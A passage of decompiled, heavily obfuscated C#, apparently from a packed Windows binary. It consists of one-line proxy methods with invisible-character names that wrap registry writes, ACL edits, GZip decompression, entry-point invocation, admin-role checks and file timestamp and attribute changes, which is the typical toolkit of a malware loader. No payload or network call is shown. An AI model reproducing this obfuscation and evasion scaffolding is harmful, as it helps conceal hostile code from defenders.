\u206C\u200D\u200F\u202A\u200F\u200D\u200D\u206E\u206B\u206E\u202A\u206B\u200D\u202E\u206D\u206B\u206B\u206F\u206F\u202D\u202E\u200D\u200B\u206A\u202B\u206B\u206A\u202D\u202E\u206E\u200D\u202B\u206F\u200F\u206C\u200B\u202B\u206F\u206E\u202C\u202E(ManagementObjectCollection.ManagementObjectEnumerator A_0) { return A_0.Current; } // Token: 0x060000CD RID: 205 RVA: 0x0000745C File Offset: 0x0000565C static object \u206E\u200D\u200F\u206C\u200C\u202D\u202D\u202E\u206E\u200F\u206B\u206E\u206A\u200F\u206C\u206E\u200E\u206E\u202B\u206B\u202D\u206D\u206D\u206F\u200E\u202B\u202D\u202B\u200C\u202E\u202E\u206D\u202E\u206C\u202C\u202A\u202B\u200F\u206C\u202D\u202E(ManagementBaseObject A_0, string A_1) { return A_0[A_1]; } // Token: 0x060000CE RID: 206 RVA: 0x00007470 File Offset: 0x00005670 static string \u200B\u200E\u206A\u206B\u202C\u206E\u202B\u200B\u206E\u202A\u206A\u206D\u206D\u206A\u200D\u200B\u200B\u202D\u206F\u200C\u202C\u206F\u202D\u202B\u200E\u202D\u200B\u202B\u202A\u200D\u202E\u206D\u202C\u200D\u206E\u206C\u200D\u200C\u202C\u200E\u202E(object A_0) { return A_0.ToString(); } // Token: 0x060000CF RID: 207 RVA: 0x00007484 File Offset: 0x00005684 static string \u202A\u200E\u200B\u200D\u202E\u200F\u202C\u206E\u206A\u202A\u206C\u202A\u202D\u200F\u206A\u206D\u206F\u202A\u206E\u206C\u206A\u200C\u200C\u202A\u206B\u206F\u206D\u202A\u206C\u202C\u200C\u206F\u202B\u202D\u202E\u202E\u206F\u200B\u202C\u206D\u202E(ResolveEventArgs A_0) { return A_0.Name; } // Token: 0x060000D0 RID: 208 RVA: 0x00007498 File Offset: 0x00005698 static bool \u206D\u202B\u200E\u206E\u200E\u206C\u200E\u206E\u202D\u206C\u200F\u206B\u206F\u202C\u202A\u200C\u200B\u206F\u206C\u200C\u200D\u200C\u200C\u206E\u206A\u202D\u202D\u200E\u202B\u202D\u206B\u202C\u202A\u202A\u202D\u206B\u202C\u202E\u202E\u200D\u202E(string A_0, string A_1) { return A_0.Contains(A_1); } // Token: 0x060000D1 RID: 209 RVA: 0x000074AC File Offset: 0x000056AC static RegistryKey \u206B\u202D\u206E\u200E\u202B\u206A\u206B\u202A\u200E\u206E\u206C\u200E\u200F\u206E\u202C\u200F\u200E\u202B\u202E\u206D\u202D\u206C\u206A\u200E\u206B\u200C\u200B\u202E\u202B\u202B\u206E\u206A\u200F\u202D\u200C\u206F\u202B\u206E\u200E\u200D\u202E(RegistryKey A_0, string A_1) { return A_0.CreateSubKey(A_1); } // Token: 0x060000D2 RID: 210 RVA: 0x000074C0 File Offset: 0x000056C0 static void \u206D\u200D\u200D\u202D\u202B\u202D\u200D\u206A\u202B\u200B\u200E\u202D\u200D\u202E\u200B\u206C\u202A\u202E\u206C\u200E\u206F\u206F\u200D\u202C\u206B\u206E\u206C\u200E\u202C\u206D\u200B\u206B\u200B\u206D\u202D\u200E\u202B\u200D\u206F\u202D\u202E(RegistryKey A_0, string A_1) { A_0.DeleteSubKey(A_1); } // Token: 0x060000D3 RID: 211 RVA: 0x000074D4 File Offset: 0x000056D4 static void \u206D\u202A\u206E\u206A\u202E\u202C\u202A\u206C\u202A\u202D\u206A\u206B\u206D\u206B\u202E\u206C\u202A\u206F\u200D\u206F\u206D\u206C\u200B\u200B\u200D\u202E\u200B\u206F\u206B\u200D\u206F\u206E\u206D\u206C\u206B\u202A\u200C\u202B\u200D\u200D\u202E(RegistryKey A_0, string A_1, object A_2, RegistryValueKind A_3) { A_0.SetValue(A_1, A_2, A_3); } // Token: 0x060000D4 RID: 212 RVA: 0x000074EC File Offset: 0x000056EC static Thread \u206A\u202C\u206B\u202A\u202C\u206A\u200C\u200F\u206A\u202E\u202C\u202A\u200D\u202A\u206A\u206F\u202D\u200D\u206F\u200D\u200B\u206B\u206B\u206D\u202A\u202A\u202C\u202B\u206A\u202A\u202E\u206F\u202B\u200F\u206D\u202E\u200D\u200D\u200F\u200D\u202E(ThreadStart A_0) { return new Thread(A_0); } // Token: 0x060000D5 RID: 213 RVA: 0x00007500 File Offset: 0x00005700 static void \u206D\u200B\u200D\u202B\u202D\u202E\u202D\u202E\u202E\u206B\u200E\u206D\u200E\u206A\u206B\u202C\u202C\u206D\u206F\u200C\u200D\u206F\u206D\u206F\u206D\u202B\u202E\u206A\u202E\u206F\u202A\u206C\u202E\u202D\u200F\u206D\u206C\u200D\u206F\u206F\u202E(Thread A_0) { A_0.Start(); } // Token: 0x060000D6 RID: 214 RVA: 0x00007514 File Offset: 0x00005714 static RawSecurityDescriptor \u206B\u202B\u200F\u200B\u202E\u206D\u206D\u202D\u206F\u200B\u206B\u200B\u200C\u200C\u206A\u206E\u206A\u206E\u206C\u202C\u202D\u202B\u200B\u206A\u200F\u206F\u200D\u206C\u200D\u200D\u206F\u206C\u200D\u206A\u200B\u206D\u202C\u200E\u202D\u206A\u202E(byte[] A_0, int A_1) { return new RawSecurityDescriptor(A_0, A_1); } // Token: 0x060000D7 RID: 215 RVA: 0x00007528 File Offset: 0x00005728 static RawAcl \u206A\u200C\u206F\u206C\u200D\u202D\u202D\u200E\u200B\u206B\u206F\u206B\u202A\u202B\u206B\u200C\u200C\u200C\u206C\u202A\u206A\u202D\u202A\u206D\u200D\u200B\u202C\u202E\u200B\u200D\u202B\u206C\u202B\u202B\u200B\u202B\u202C\u200F\u206E\u202E\u202E(RawSecurityDescriptor A_0) { return A_0.DiscretionaryAcl; } // Token: 0x060000D8 RID: 216 RVA: 0x0000753C File Offset: 0x0000573C static int \u206F\u202E\u200F\u200F\u200B\u202C\u206F\u206E\u202D\u206F\u202C\u200E\u202C\u202E\u206E\u206A\u200C\u206B\u206B\u202B\u206D\u200C\u206A\u200E\u202D\u202D\u206D\u202D\u200D\u200B\u200C\u202D\u200D\u200D\u202C\u202C\u200D\u206C\u206B\u200D\u202E(int A_0) { return Convert.ToInt32(A_0); } // Token: 0x060000D9 RID: 217 RVA: 0x00007550 File Offset: 0x00005750 static SecurityIdentifier \u202A\u200D\u206F\u200C\u200C\u200E\u202B\u206B\u200B\u206B\u200C\u202A\u202A\u206C\u202C\u200D\u206F\u202D\u202C\u206D\u202C\u200C\u202A\u206F\u202C\u200E\u206D\u200E\u200F\u206F\u202A\u200D\u206E\u202C\u200E\u206A\u200E\u206C\u206D\u202A\u202E(WellKnownSidType A_0, SecurityIdentifier A_1) { return new SecurityIdentifier(A_0, A_1); } // Token: 0x060000DA RID: 218 RVA: 0x00007564 File Offset: 0x00005764 static CommonAce \u200C\u202D\u206E\u200F\u206A\u206E\u200D\u202D\u206F\u206E\u206D\u202A\u200C\u200F\u202D\u206C\u206F\u206C\u202E\u200C\u202A\u206B\u206E\u202D\u200B\u202A\u202E\u202C\u206A\u200C\u202D\u206F\u202C\u206A\u200B\u202B\u202C\u202E\u206F\u206D\u202E(AceFlags A_0, AceQualifier A_1, int A_2, SecurityIdentifier A_3, bool A_4, byte[] A_5) { return new CommonAce(A_0, A_1, A_2, A_3, A_4, A_5); } // Token: 0x060000DB RID: 219 RVA: 0x00007580 File Offset: 0x00005780 static void \u200D\u206B\u200F\u206B\u202C\u206C\u206F\u202E\u202A\u200C\u206A\u206B\u202D\u202E\u202A\u202A\u206C\u206A\u200B\u200E\u206A\u200B\u202D\u206B\u206F\u206E\u202E\u200F\u206E\u206C\u206D\u200B\u206C\u206C\u200F\u206B\u206C\u202D\u200B\u200D\u202E(RawAcl A_0, int A_1, GenericAce A_2) { A_0.InsertAce(A_1, A_2); } // Token: 0x060000DC RID: 220 RVA: 0x00007598 File Offset: 0x00005798 static int \u200B\u202C\u202C\u206F\u202C\u206A\u206D\u206B\u202A\u200B\u202E\u200B\u206C\u200E\u202A\u206B\u202B\u206C\u202C\u200D\u202C\u202C\u206F\u206C\u206E\u202A\u202E\u200F\u206A\u206E\u206B\u200D\u200E\u202D\u202C\u200F\u200D\u202D\u200F\u202C\u202E(GenericSecurityDescriptor A_0) { return A_0.BinaryLength; } // Token: 0x060000DD RID: 221 RVA: 0x000075AC File Offset: 0x000057AC static void \u200B\u202E\u202E\u202D\u206A\u202C\u202A\u202B\u206B\u202E\u202A\u206D\u206B\u206D\u206D\u200B\u202C\u200C\u206E\u200B\u200E\u200C\u202C\u200B\u202B\u206E\u200B\u202B\u206C\u206A\u200C\u206C\u200B\u200E\u202E\u206A\u202E\u202D\u206A\u202E\u202E(GenericSecurityDescriptor A_0, byte[] A_1, int A_2) { A_0.GetBinaryForm(A_1, A_2); } // Token: 0x060000DE RID: 222 RVA: 0x000075C4 File Offset: 0x000057C4 static MemoryStream \u206E\u202D\u206D\u206A\u200C\u206E\u206E\u206B\u206E\u202B\u202D\u202B\u200F\u202A\u206B\u202E\u202A\u206B\u202D\u206B\u202C\u206C\u206B\u206F\u202B\u206E\u206E\u200C\u206B\u202E\u206D\u206C\u206F\u200B\u206E\u202B\u206E\u200D\u200B\u202E\u202E(byte[] A_0) { return new MemoryStream(A_0); } // Token: 0x060000DF RID: 223 RVA: 0x000075D8 File Offset: 0x000057D8 static GZipStream \u200B\u206C\u200B\u200D\u200C\u206F\u202A\u206C\u200D\u202A\u202E\u200B\u202D\u206B\u206A\u206E\u202B\u206E\u202E\u200E\u202C\u200C\u202B\u200B\u206A\u200E\u206D\u200D\u206D\u202D\u202C\u200B\u202B\u200F\u206A\u200F\u206F\u202C\u206E\u202C\u202E(Stream A_0, CompressionMode A_1) { return new GZipStream(A_0, A_1); } // Token: 0x060000E0 RID: 224 RVA: 0x000075EC File Offset: 0x000057EC static int \u200C\u200B\u206F\u206F\u200C\u206C\u202C\u202E\u202D\u202E\u206B\u200D\u202D\u200E\u206E\u202B\u202D\u206F\u206E\u200D\u206B\u206D\u206F\u200C\u202A\u206B\u206B\u202A\u200C\u206C\u202B\u202E\u200F\u200C\u202B\u206F\u200B\u200D\u206B\u200D\u202E(Stream A_0, byte[] A_1, int A_2, int A_3) { return A_0.Read(A_1, A_2, A_3); } // Token: 0x060000E1 RID: 225 RVA: 0x00007604 File Offset: 0x00005804 static void \u206A\u202A\u206A\u202A\u200F\u200C\u206A\u206A\u206E\u200F\u206C\u202A\u200E\u200C\u206D\u200E\u202E\u206D\u206E\u206B\u206A\u206E\u200E\u206E\u202E\u206C\u206D\u202A\u200E\u200B\u206B\u200C\u200D\u202D\u200F\u206F\u206E\u206B\u200E\u200E\u202E(Stream A_0) { A_0.Close(); } // Token: 0x060000E2 RID: 226 RVA: 0x00007618 File Offset: 0x00005818 static void \u200B\u206B\u202D\u206E\u200F\u206C\u202B\u200B\u200E\u202C\u200D\u202B\u206F\u206E\u206C\u202D\u206B\u200E\u200C\u206C\u200B\u202B\u206D\u206E\u206D\u206C\u200C\u202E\u202E\u206C\u206B\u202C\u200E\u202B\u206A\u206F\u202A\u202E\u206B\u202E\u202E(IDisposable A_0) { A_0.Dispose(); } // Token: 0x060000E3 RID: 227 RVA: 0x0000762C File Offset: 0x0000582C static string \u200F\u200D\u206D\u202D\u200B\u200B\u202A\u206D\u200D\u200E\u206C\u206F\u200D\u206D\u206B\u200E\u200E\u202B\u206C\u206E\u206E\u206C\u202B\u200C\u202E\u202A\u206D\u202E\u206E\u200C\u202A\u202D\u206D\u200B\u206E\u206A\u200D\u200F\u206A\u202E(string A_0) { return A_0.ToLower(); } // Token: 0x060000E4 RID: 228 RVA: 0x00007640 File Offset: 0x00005840 static string[] \u200F\u206F\u206B\u202D\u206E\u200C\u202C\u206B\u200F\u202B\u206C\u202C\u202A\u202E\u206C\u202B\u200D\u206D\u202D\u206C\u202E\u200C\u200C\u202E\u206E\u206D\u206C\u206B\u202D\u202E\u206B\u200B\u202B\u202C\u200E\u206F\u202A\u206C\u200D\u202E(string A_0, char[] A_1) { return A_0.Split(A_1); } // Token: 0x060000E5 RID: 229 RVA: 0x00007654 File Offset: 0x00005854 static MethodInfo \u206E\u206A\u206F\u202D\u200D\u202C\u200C\u200F\u202D\u200B\u200B\u202A\u200F\u206B\u200E\u202C\u206F\u200B\u202D\u202D\u206A\u200D\u206D\u202C\u206E\u200C\u206E\u200E\u200D\u200F\u206A\u200D\u202A\u200B\u202D\u206F\u200E\u202D\u206C\u202A\u202E(Assembly A_0) { return A_0.EntryPoint; } // Token: 0x060000E6 RID: 230 RVA: 0x00007668 File Offset: 0x00005868 static ParameterInfo[] \u200D\u202B\u200C\u202E\u200F\u206C\u200F\u206B\u200D\u200D\u206B\u200F\u202E\u202A\u202D\u206D\u202D\u202C\u202C\u206E\u206B\u202C\u202B\u200C\u200C\u202E\u202E\u200F\u200E\u206B\u200C\u206E\u202C\u200B\u200D\u206B\u200E\u206D\u202C\u206D\u202E(MethodBase A_0) { return A_0.GetParameters(); } // Token: 0x060000E7 RID: 231 RVA: 0x0000767C File Offset: 0x0000587C static void \u206F\u206D\u200C\u200B\u206F\u202B\u200F\u206F\u200B\u206D\u206D\u202A\u202C\u200D\u200F\u206E\u206A\u206A\u206D\u200C\u206E\u200F\u200E\u206C\u202B\u202A\u200C\u202B\u200B\u200D\u202D\u200B\u200C\u202C\u206E\u200E\u202A\u200B\u206E\u200C\u202E(Thread A_0, ApartmentState A_1) { A_0.SetApartmentState(A_1); } // Token: 0x060000E8 RID: 232 RVA: 0x00002DD4 File Offset: 0x00000FD4 static void \u206B\u202B\u200E\u200D\u206B\u200F\u206E\u202C\u206A\u202B\u202A\u202C\u200B\u206E\u200D\u206C\u200E\u202C\u200F\u200F\u202D\u200C\u202B\u206E\u202C\u202D\u206D\u202B\u200B\u206D\u202A\u200D\u200F\u200C\u200D\u206F\u200B\u202A\u200D\u206A\u202E(Thread A_0, object A_1) { A_0.Start(A_1); } // Token: 0x060000E9 RID: 233 RVA: 0x00007690 File Offset: 0x00005890 static string \u202A\u202C\u200F\u206A\u206D\u200B\u206E\u206A\u200E\u202C\u200E\u202C\u202A\u206B\u200B\u206F\u206F\u202A\u206E\u206A\u206B\u206F\u200F\u202A\u206E\u202B\u202D\u200F\u202E\u200E\u206E\u202A\u202A\u200C\u206A\u200C\u206A\u200C\u206C\u206C\u202E(string A_0) { return Environment.GetEnvironmentVariable(A_0); } // Token: 0x060000EA RID: 234 RVA: 0x000076A4 File Offset: 0x000058A4 static RegistryKey \u202A\u206D\u202A\u202E\u200C\u200B\u202C\u202E\u202C\u206F\u202E\u206A\u202E\u200E\u202A\u200B\u200F\u206E\u206E\u206E\u200F\u202A\u202E\u202C\u202C\u206B\u206E\u200F\u200D\u202C\u200E\u206E\u202C\u202C\u202E\u200E\u200F\u206B\u206B\u206D\u202E(RegistryKey A_0, string A_1) { return A_0.OpenSubKey(A_1); } // Token: 0x060000EB RID: 235 RVA: 0x000076B8 File Offset: 0x000058B8 static object \u202E\u206A\u202B\u206C\u202A\u200C\u200F\u206D\u206B\u200F\u200B\u202D\u200B\u202B\u206A\u206E\u202B\u202E\u202A\u200C\u206E\u200B\u202A\u206A\u202E\u206D\u206C\u200D\u206B\u202C\u200E\u206B\u200F\u206F\u202B\u206B\u206C\u200C\u200D\u206A\u202E(RegistryKey A_0, string A_1) { return A_0.GetValue(A_1); } // Token: 0x060000EC RID: 236 RVA: 0x000076CC File Offset: 0x000058CC static string \u200F\u202E\u206E\u200B\u200D\u202C\u202C\u206B\u206A\u202E\u200D\u202D\u206C\u200E\u202B\u202D\u206C\u200C\u202D\u206C\u206B\u200C\u206C\u202A\u200D\u206C\u206C\u202E\u206A\u206B\u206E\u206E\u206F\u206A\u200B\u206A\u200B\u200C\u206B\u206A\u202E(string A_0, string A_1, string A_2) { return A_0.Replace(A_1, A_2); } // Token: 0x060000ED RID: 237 RVA: 0x000076E4 File Offset: 0x000058E4 static bool \u202A\u202A\u200B\u206C\u202E\u202C\u202E\u200D\u200D\u206A\u206A\u200B\u206B\u200D\u206F\u202B\u200C\u206A\u200F\u202A\u206F\u200C\u206B\u206A\u200C\u206D\u202D\u200B\u206E\u200E\u206B\u206F\u200B\u202E\u206D\u200D\u200F\u200D\u200E\u200E\u202E(string A_0, string A_1) { return A_0.EndsWith(A_1); } // Token: 0x060000EE RID: 238 RVA: 0x000076F8 File Offset: 0x000058F8 static int \u200B\u206F\u200E\u202B\u200F\u202D\u200C\u202B\u206E\u206C\u202A\u200E\u206F\u202B\u200B\u206C\u200F\u200F\u200E\u202B\u206F\u200F\u200E\u206A\u202C\u202D\u200E\u200E\u202E\u202C\u200D\u206E\u202E\u200D\u206A\u206A\u200F\u200F\u202A\u200C\u202E(string A_0, string A_1, StringComparison A_2) { return A_0.LastIndexOf(A_1, A_2); } // Token: 0x060000EF RID: 239 RVA: 0x00007710 File Offset: 0x00005910 static string \u206E\u200E\u206F\u200D\u200C\u206B\u206F\u206F\u200C\u202E\u200D\u206D\u202C\u202D\u202C\u200C\u206C\u206E\u200E\u202B\u206F\u206E\u202A\u200D\u206E\u206A\u200C\u206B\u200D\u200E\u200D\u200D\u206B\u202A\u206F\u206A\u206D\u200E\u206C\u200F\u202E(string A_0, int A_1, int A_2) { return A_0.Substring(A_1, A_2); } // Token: 0x060000F0 RID: 240 RVA: 0x00007728 File Offset: 0x00005928 static void \u200B\u206D\u200F\u200E\u200D\u206C\u200F\u200B\u206A\u206D\u206C\u200F\u200E\u206F\u206D\u202C\u200B\u202B\u206C\u200B\u200B\u202E\u200E\u202C\u206B\u202A\u202D\u206D\u206C\u206B\u200E\u202B\u206B\u202C\u206A\u206A\u202C\u202E\u206C\u206F\u202E(string A_0, DateTime A_1) { File.SetCreationTime(A_0, A_1); } // Token: 0x060000F1 RID: 241 RVA: 0x0000773C File Offset: 0x0000593C static FileInfo \u206C\u202C\u202E\u202A\u200B\u202E\u200E\u202A\u206F\u202B\u202A\u206A\u200C\u200E\u202E\u202C\u200E\u200B\u206C\u200B\u200F\u202B\u202A\u206C\u200C\u206A\u200B\u200C\u202A\u202A\u202D\u206D\u200F\u206D\u202C\u200E\u206F\u200B\u202D\u202E\u202E(string A_0) { return new FileInfo(A_0); } // Token: 0x060000F2 RID: 242 RVA: 0x00007750 File Offset: 0x00005950 static FileAttributes \u200B\u202A\u206E\u200C\u200C\u206E\u206A\u202E\u202C\u202D\u206A\u202E\u206B\u202E\u200F\u206F\u206B\u206C\u200E\u206C\u200B\u206F\u202A\u202B\u206E\u202D\u200F\u206F\u206C\u200F\u206B\u206A\u206D\u202B\u200D\u200F\u202D\u202A\u200F\u202E(FileSystemInfo A_0) { return A_0.Attributes; } // Token: 0x060000F3 RID: 243 RVA: 0x00007764 File Offset: 0x00005964 static void \u200E\u200D\u200C\u200D\u206B\u206F\u206C\u200C\u206F\u202B\u200D\u206D\u206B\u206E\u200D\u206B\u206A\u202B\u202B\u202A\u202E\u202A\u200B\u206A\u200F\u206B\u206D\u206A\u200D\u200F\u206D\u200C\u206D\u206F\u200F\u202B\u206F\u200F\u206D\u206F\u202E(FileSystemInfo A_0, FileAttributes A_1) { A_0.Attributes = A_1; } // Token: 0x060000F4 RID: 244 RVA: 0x00007778 File Offset: 0x00005978 static void \u206B\u206C\u206C\u206D\u206B\u206B\u206F\u200B\u200D\u200F\u202A\u206F\u202B\u206C\u206D\u202A\u206C\u202B\u202D\u206E\u202C\u206A\u202B\u202E\u202A\u202D\u200E\u206F\u200D\u206C\u206D\u202E\u202B\u206F\u202B\u202C\u202B\u200B\u200C\u202E\u202E(ProcessStartInfo A_0, string A_1) { A_0.Arguments = A_1; } // Token: 0x060000F5 RID: 245 RVA: 0x0000778C File Offset: 0x0000598C static void \u206A\u206B\u202A\u206D\u200B\u202E\u200B\u202E\u206D\u206E\u202B\u202A\u200D\u206E\u202E\u206E\u200D\u206C\u200F\u202B\u200B\u206D\u200E\u202B\u202A\u206E\u206E\u202D\u206C\u200B\u202A\u200D\u206A\u202E\u206C\u206F\u200F\u200B\u202A\u200D\u202E(ProcessStartInfo A_0, string A_1) { A_0.Verb = A_1; } // Token: 0x060000F6 RID: 246 RVA: 0x000077A0 File Offset: 0x000059A0 static WindowsIdentity \u206D\u200E\u200E\u206B\u206B\u202C\u202E\u200D\u200D\u206D\u202D\u206F\u202E\u202D\u206A\u200B\u206B\u202A\u202B\u202E\u202A\u202A\u202D\u206E\u202D\u206D\u202B\u206B\u206B\u202C\u200F\u206E\u200D\u202E\u202A\u200F\u206E\u202C\u200C\u200E\u202E() { return WindowsIdentity.GetCurrent(); } // Token: 0x060000F7 RID: 247 RVA: 0x000077B4 File Offset: 0x000059B4 static WindowsPrincipal \u200F\u206C\u206E\u206A\u206A\u200C\u202A\u202A\u202D\u202D\u202B\u200F\u202E\u200E\u202E\u206F\u200F\u206E\u200D\u206A\u206E\u202E\u206B\u206D\u206E\u202B\u200C\u206C\u202C\u200B\u206F\u202A\u202E\u200C\u202B\u206B\u206C\u202C\u202E(WindowsIdentity A_0) { return new WindowsPrincipal(A_0); } // Token: 0x060000F8 RID: 248 RVA: 0x000077C8 File Offset: 0x000059C8 static bool \u202A\u202D\u200C\u202C\u206B\u202D\u200C\u202A\u202E\u202C\u206E\u206F\u202C\u202D\u206C\u206F\u200C\u202A\u206D\u206B\u200C\u202E\u200D\u206C\u202D\u202C\u206B\u206A\u206C\u200D\u206F\u206E\u202D\u200C\u202D\u206E\u200E\u202C\u206D\u202B\u202E(WindowsPrincipal A_0, WindowsBuiltInRole A_1) { return A_0.IsInRole(A_1); } // Token: 0x060000F9 RID: 249 RVA: 0x000077DC File Offset: 0x000059DC static string \u202A\u200B\u200D\u206A\u200F\u200C\u202E\u200E\u206B\u200D\u202D\u200C\u206B\u206A\u200B\u206C\u200C\u200B\u202A\u206D\u202E\u202C\u200C\u202E\u200E\u200F\u206D\u200D\u206A\u202D\u200E\u200E\u206A\u200F\u206A\u200C\u200C\u202D\u206F\u202D\u202E() { return Path.GetTempPath(); } // Token: 0x060000FA RID: 250 RVA: 0x000077F0 File Offset: 0x000059F0 static StreamWriter \u202A\u206A\u202B\u206C\u206C\u200C\u200E\u206F\u202C\u200D\u206E\u202C\u202C\u202C\u200C\u206C\u200B\u202B\u206E\u206F\u200C\u202B\u200E\u206A\u200E\u202A\u200F\u202E\u206F\u206B\u206F\u200E\u200D\u200D\u206B\u206F\u202E\u206A\u200C\u200D\u202E(string A_0) { return new StreamWriter(A_0); } // Token: 0x060000FB RID: 251 RVA: 0x00007804 File Offset: 0x00005A04 static void \u200B\u200D\u206A\u202D\u206B\u206D\u206E\u206C\u202B\u200D\u200E\u206E\u200B\u206F\u206F\u206C\u202B\u202C\u202B\u200C\u206E\u200E\u202A\u206D\u200C\u202E\u206F\u200E\u200C\u200D\u200F\u200C\u202E\u200F\u206C\u206A\u200F\u206C\u206A\u202E(TextWriter A_0) { A_0.WriteLine(); } // Token: 0x060000FC RID: 252 RVA: 0x00007818 File Offset: 0x00005A18 static void \u206A\u206C\u206B\u206C\u200C\u202B\u200B\u202C\u200D\u202E\u200C\u206F\u202A\u206B\u206B\u202B\u206D\u202B\u202A\u200F\u206E\u206C\u202A\u206C\u200F\u200D\u200F\u200F\u200E\u202C\u200B\u202B\u206F\u202A\u202C\u206A\u200E\u206C\u200C\u202B\u202E(TextWriter A_0) { A_0.Close(); } // Token: 0x060000FD RID: 253 RVA: 0x0000782C File Offset: 0x00005A2C static string \u200E\u202C\u200B\u200E\u200E\u200E\u206D\u200B\u206B\u200D\u200E\u206A\u206E\u206B\u206D\u202A\u202B\u202B\u202B\u206F\u202D\u202E\u200F\u202E\u200D\u200E\u202D\u206A\u206A\u206D\u206E\u206D\u206A\u200E\u206D\u206D\u206A\u206E\u202D\u206E\u202E(ClaimsIdentity A_0) { return A_0.Name; } // Token: 0x060000FE RID: 254 RVA: 0x00007840 File Offset: 0x00005A40 static string \u200D\u202C\u206C\u206E\u206C\u202A\u200B\u206F\u206B\u202B\u200C\u206D\u206F\u200B\u200E\u206D\u200F\u200D\u202B\u202C\u206A\u200B\u202A\u206B\u200F\u206D\u202E\u202D\u202C\u202C\u202C\u206E\u200C\u206B\u206A\u206C\u202B\u200D\u202A\u206F\u202E(string A_0, object A_1) { return string.Format(A_0, A_1); } // Token: 0x060000FF RID: 255 RVA: 0x00007854 File Offset: 0x00005A54 static Random \u206F\u200D\u200F\u206E\u202D\u200F\u206F\u206F\u202E\u200C\u202A\u200E\u202C\u200F\u202B\u202C\u206D\u202A\u206A\u202E\u200E\u200C\u200F\u200D\u206C\u200B\u202B\u202E\u200E\u202B\u200F\u200D\u200D\u200C\u202A\u202E\u200E\u202D\u206F\u200F\u202E() { return new Random(); } // Token: 0x06000100 RID: 256 RVA: 0x00007868 File Offset: 0x00005A68 static int \u206F\u202E\u206C\u206F\u206F\u206C\u206E\u202E\u200F\u200B\u200E\u206D\u206A\u206B\u202E\u200D\u206C\u202A\u206B\u202C\u202E\u200B\u200D\u200B\u206F\u206C\u206E\u202D\u202D\u202A\u206E\u200B\u206A\u202C\u206F\u206D\u200D\u202C\u202A\u206A\u202E(Random A_0) { return A_0.Next(); } // Token: 0x06000101 RID: 257 RVA: 0x0000787C File Offset: 0x00005A7C static string \u206B\u202B\u202A\u206E\u206A\u202E\u200E\u202C\u206D\u202A\u206D\u200B\u206C\u200C\u202D\u202A\u206D\u202E\u206D\u206B\u200E\u202D\u206B\u202D\u200E\u200B\u206B\u206B\u200F\u206C\u206B\u206C\u202E\u202C\u206E\u202D\u206F\u202A\u202B\u206A\u202E(object A_0, object A_1, object A_2) { return A_0 + A_1 + A_2; } // Token: 0x06000102 RID: 258 RVA: 0x00007894 File Offset: 0x00005A94 static void \u206D\u202A\u206E\u202E\u206C\u200D\u202D\u200E\u206D\u200E\u206D\u200B\u202C\u202C\u200E\u202C\u202A\u206C\u206A\u202D\u206F\u202B\u202E\u202E\u202D\u200B\u202A\u206B\u206B\u206A\u200C\u202B\u202C\u200F\u202D\u202E\u202E\u206B\u206C\u202D\u202E(string A_0, string A_1) { File.WriteAllText(A_0, A_1); } // Token: 0x06000103 RID: 259 RVA: 0x000078A8 File Offset: 0x00005AA8 static string \u206B\u202D\u206E\u202A\u206E\u202A\u206A\u202E\u206F\u206D\u206A\u200B\u206C\u206F\u206C\u200F\u202E\u206C\u206C\u206D\u206F\u200D\u202B\u202E\u200C\u202E\u206F\u200D\u200B\u206C\u200C\u200F\u200B\u202A\u200B\u200F\u206E\u200B\u202E\u202C\u202E(string A_0, object A_1, object A_2) { return string.Format(A_0, A_1, A_2); } // Token: 0x06000104 RID: 260 RVA: 0x000078C0 File Offset: 0x00005AC0 static string \u206E\u202A\u200F\u200B\u206E\u206A\u202A\u206C\u206D\u200C\u202A\u200B\u200C\u206C\u200C\u200E\u206C\u202E\u200D\u206A\u200F\u200B\u206C\u206F\u200D\u206D\u202A\u200F\u202E\u202C\u200C\u200B\u202D\u200D\u206D\u200B\u202A\u202C\u206F\u202E\u202E() { return Application.StartupPath; } // Token: 0x06000105 RID: 261 RVA: 0x000078D4 File Offset: 0x00005AD4 static string \u206B\u206C\u200B\u206E\u206E\u202D\u200B\u200F\u202E\u202A\u200E\u202C\u200E\u200F\u200C\u206F\u206E\u200D\u206F\u202B\u206B\u200F\u200B\u206B\u200E\u202B\u206D\u202B\u200D\u200B\u206A\u202C\u202E\u202A\u202E\u200D\u200D\u202E\u200C\u206F\u202E(Environment.SpecialFolder A_0) { return Environment.GetFolderPath(A_0); } // Token: 0x06000106 RID: 262 RVA: 0x000078E8 File Offset: 0x00005AE8 static char[] \u206E\u202D\u200D\u206D\u206F\u206E\u200E\u206B\u200C\u206D\u202D\u200C\u206D\u200F\u200F\u202E\u202E\u202E\u202B\u206C\u206B\u202B\u206F\u206B\u206C\u206D\u200E\u206E\u202E\u206E\u202A\u206D\u202B\u202E\u200D\u206B\u206D\u202A\u200E\u200E\u202E(string A_0) { return A_0.ToCharArray(); } // Token: 0x06000107 RID: 263 RVA: 0x000078FC File Offset: 0x00005AFC static string \u206B\u206E\u206C\u202D\u200B\u206B\u206C\u206D\u200D\u202B\u206F\u202A\u206A\u206C\u202C\u200E\u200B\u200E\u202B\u206B\u200E\u200F\u202D\u206F\u202D\u202C\u206D\u206F\u206A\u206A\u206C\u200E\u202E\u206F\u200B\u202A\u202A\u202C\u206B\u206D\u202E(string A_0, char[] A_1) { return A_0.Trim(A_1); } // Token: 0x06000108 RID: 264 RVA: 0x00007910 File Offset: 0x00005B10 static string \u202A\u202A\u202E\u206A\u206B\u200D\u200F\u202E\u202C\u200E\u202E\u200D\u206D\u200B\u200D\u202B\u200F\u200E\u200F\u206D\u206D\u200F\u200E\u206C\u206B\u202B\u202E\u200B\u202B\u206A\u200B\u202A\u206D\u202A\u202B\u202C\u200B\u200E\u206C\u200D\u202E(string A_0, string A_1) { return Path.Combine(A_0, A_1); } // Token: 0x06000109 RID: 265 RVA: 0x00002D2C File Offset: 0x00000F2C static Type \u202E\u200C\u206E\u202A\u200E\u202B\u206A\u206F\u200B\u202E\u200C\u202C\u206D\u202D\u206F\u200F\u200D\u206A\u206C\u206B\u206A\u202E\u200E\u200D\u200C\u206F\u206B\u200D\u206D\u200B\u206E\u202D\u202B\u202A\u200E\u202D\u200B\u202A\u206E\u202D\u202E(RuntimeTypeHandle A_0) { return Type.GetTypeFromHandle(A_0); } // Token: 0x0600010A RID: 266 RVA: 0x00007924 File Offset: 0x00005B24 static Array \u200C\u200F\u202B\u202B\u202D\u206C\u206C\u202D\u202C\u206C\u202A\u200C\u206E\u200D\u202D\u206A\u206C\u202D\u200E\u202C\u200C\u200F\u200B\u206D\u200B\u200D\u206C\u206D\u202C\u202D\u200D\u202A\u202E\u200F\u200B\u200D\u200F\u206C\u206C\u200E\u202E(Type 